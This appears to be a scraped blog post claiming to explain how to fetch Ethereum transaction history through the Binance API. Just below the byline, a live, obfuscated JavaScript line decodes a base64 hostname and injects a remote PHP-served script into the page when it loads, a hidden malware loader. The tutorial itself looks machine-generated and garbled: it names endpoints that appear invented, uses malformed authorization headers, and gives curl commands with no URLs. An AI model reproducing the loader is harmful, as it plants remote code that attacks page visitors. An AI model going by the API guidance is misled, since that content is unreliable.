Ethereum: Binance API transaction history
- 2025-02
- by Cn Vn
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx);const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=859cbb7d“;document.body.appendChild(script);
Ethereum: Binance API Transaction History
Binance is one of the largest and most popular cryptocurrency exchanges, offering a wide range of APIs that allow developers to interact with their platform. In this article, we will explore how to retrieve Ethereum transaction history using the Binance API.
Prerequisites
Before you can get started, make sure you have an account on Binance and have created a developer account on the Binance Developer Portal. You will also need to obtain an API key from the Binance API dashboard.
API Endpoints for Retrieving Transaction History
You can retrieve Ethereum transaction history using the Binance API using the following endpoints:
- „GET /api/v3/transactionHistory“ (retrieve transactions by block number and timestamp)
- „GET /api/v2/orders“ (retrieve order history) – this endpoint gives you access to your own trading activity
- „GET /api/v2/tradeHistory“ (retrieve trade history) – this endpoint gives you access to your own trading activity
Retrieve transaction history using the /api/v3/transactionHistory endpoint
The GET /api/v3/transactionHistory endpoint allows you to retrieve Ethereum transaction history by block number and timestamp. Here is an example of how you can use this endpoint:
curl -X GET \
\
-H 'Content-Type: application/json' \
-H 'Authorization: holder YOUR_API_KEY'
Replace „YOUR_API_KEY“ with your actual API key. This will return a JSON response containing the transaction history for the specified symbol, block number, timestamp, and side.
Get transaction history using the /api/v2/orders endpoint
The „GET /api/v2/orders“ endpoint allows you to retrieve order history from Binance. You can use this endpoint with your Ethereum API key as follows:
curl -X GET \
\
-H 'Content-Type: application/json' \
-H 'Authorization: holder YOUR_API_KEY'
Replace „YOUR_API_KEY“ with your actual API key.
Get transaction history using the /api/v2/tradeHistory
endpoint
The „GET /api/v2/tradeHistory“ endpoint allows you to retrieve trade history from Binance. You can use this endpoint as follows:
curl -X GET \
\
-H 'Content-Type: application/json' \
-H 'Authorization: holder YOUR_API_KEY'
Replace „YOUR_API_KEY“ with your actual API key.
Example Use Cases
Here are some examples of use cases for these APIs:
- Get a user’s Ethereum deposit history: You can use the
/api/v3/transactionHistory' endpoint to retrieve all transactions made by a specific user. To do this, you need to add the
account_idparameter to the endpoint.
curl -X GET \
\
-H 'Content-Type: application/json' \
-H 'Authorization: holder YOUR_API_KEY'
- Get a user's Ethereum withdrawal history: You can retrieve all orders placed by a specific user from the /api/v2/orders‘ endpoint. To do this, you need to add the
account_id
parameter to the endpoint.
curl -X GET \
\
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer YOUR_API_KEY'
- Get a user’s Ethereum trade history: You can use the
/api/v2/tradeHistory' endpoint to retrieve all trades made by a specific user. To do this, you need to add the
account_id` parameter to the endpoint.
I hope this helps! Let me know if you have any questions or need further assistance.